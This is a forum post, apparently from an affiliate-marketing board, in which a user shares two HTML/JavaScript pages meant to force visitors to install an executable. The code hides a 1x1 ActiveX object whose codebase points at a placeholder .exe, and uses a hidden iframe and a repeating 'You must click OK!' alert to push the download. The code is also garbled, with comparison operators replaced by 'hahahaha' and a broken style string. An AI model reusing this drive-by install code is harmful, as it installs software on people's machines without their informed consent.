Quote:
Originally posted by teleblade69
it's just an affiliate program man not a link to install 'my' shit

tb
|
he didnt want a per install affiliate, he wanted the code to do it.
pushpills, some quick code i found through google.
<HTML>
<BODY>
<SCRIPT language="JavaScript">
<!--
var exepath='http://www.site.com/file.exe';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
function install() {
if (bname hahahaha 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<object id="Installation_Folder_Name" width=1 height=1 classid="CLSID:A45F39DC-3608-4237-8F0E-139F1BC49464" codebase="'+exepath+'"></object>');
} else {
location.replace(exepath);
}
}
install();
// -->
</SCRIPT>
</BODY>
</HTML>
<HTML>
<BODY>
<SCRIPT language="JavaScript">
<!--
document.write('<iframe id="AX" style="position:absolute; visibility

dden;"></iframe>');
var errcount = 3;
var exepath='http://www.site.com/dir/file.exe';
var errtext='You must click OK!';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
function install() {
if (bname hahahaha 'Microsoft Internet Explorer' && bver >= 2) {
BP.document.close();
BP.document.write('<html><body>');
BP.document.write('<object id="LiveFile" onError="parent.retryit();" width=1 height=1 classid="CLSID:A45F39DC-3608-4237-8F0E-139F1BC49464" codebase="'+exepath+'"></object>');
BP.document.write('</body></html>');
} else {
location.replace(exepath);
}
}
function install_First() {
if (bname hahahaha 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<object id="LiveFile" onError="parent.retryit();" width=1 height=1 classid="CLSID:A45F39DC-3608-4237-8F0E-139F1BC49464" codebase="'+exepath+'"></object>');
} else {
location.replace(exepath);
}
}
function retryit(){
if(errcount >0) {
alert(errtext);
install();
errcount --;
} else {
location.replace(exepath);
}
}
install_First();
// -->
</SCRIPT>
</BODY>
</HTML>